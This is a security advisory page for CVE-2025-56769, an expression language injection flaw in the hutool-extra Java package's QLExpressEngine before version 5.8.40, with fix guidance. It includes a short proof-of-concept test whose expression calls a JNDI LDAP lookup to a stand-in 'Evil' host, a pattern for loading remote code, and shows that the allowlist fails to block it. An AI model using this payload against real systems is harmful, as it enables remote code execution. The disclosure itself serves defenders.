Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') Affecting cn.hutool:hutool-extra package, versions [,5.8.40)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.09% (27th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-CNHUTOOL-13110038
  • published29 Sept 2025
  • disclosed26 Sept 2025
  • creditadv851

Introduced: 26 Sep 2025

NewCVE-2025-56769  (opens in a new tab)
CWE-917  (opens in a new tab)

How to fix?

Upgrade cn.hutool:hutool-extra to version 5.8.40 or higher.

Overview

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') via the QLExpressEngine process. An attacker can execute arbitrary code by submitting crafted expressions that trigger arbitrary method invocation.

PoC


@Test
public void QLExpressTest() {
    String expression = "javax.naming.InitialContext.doLookup(\"ldap://[127.0.0.1:8087/Evil\](http://127.0.0.1:8087/Evil)")";
    // We tested with the strictest allowlist configuration, and the results indicate that the allowlist mechanism did not take effect when using the QLExpressEngine.
    HashSet<Class<?>> allowedSet = new HashSet<>();
    allowedSet.add(String.class);  

   // Evaluate the expression. Despite the whitelist, the expression will execute.
    ExpressionUtil.eval(expression, new HashMap<>(), allowedSet);
}

CVSS Base Scores

version 4.0
version 3.1